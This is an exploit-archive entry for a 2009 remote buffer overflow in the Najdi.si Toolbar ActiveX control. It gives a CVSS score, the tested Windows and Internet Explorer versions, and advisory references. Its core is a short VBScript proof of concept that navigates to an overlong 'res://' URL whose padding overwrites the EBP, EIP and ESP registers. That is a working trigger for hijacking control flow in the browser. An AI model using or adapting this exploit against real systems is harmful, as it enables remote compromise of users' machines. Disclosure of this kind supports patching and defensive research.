Najdi.si Toolbar ActiveX Remote Buffer Overflow PoC

2009.08.30
Credit: shinnai
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

----------------------------------------------------------------------------- Najdi.si Toolbar Remote Buffer Overflow url: http://www.najdi.si/ Author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on: Windows XP Professional SP2 with Internet Explorer 6 and 7 Windows XP Professional SP3 with Internet Explorer 6 and 7 Windows 2k Professional SP4 with Internet Explorer 6 Windows Server 2003 SP2 with Internet Explorer 7 ----------------------------------------------------------------------------- <script language='vbscript'> mUrl = "res://" + String(260, "a") + "bb" + "cc" + String(512, "d") + "/" ' "bb" => see EBP ' "cc" => see EIP ' "ddd..." => see ESP Document.Location = mUrl </script>

References:

http://xforce.iss.net/xforce/xfdb/44840
http://www.securityfocus.com/bid/30922
http://www.milw0rm.com/exploits/6327
http://secunia.com/advisories/31671
http://osvdb.org/47909


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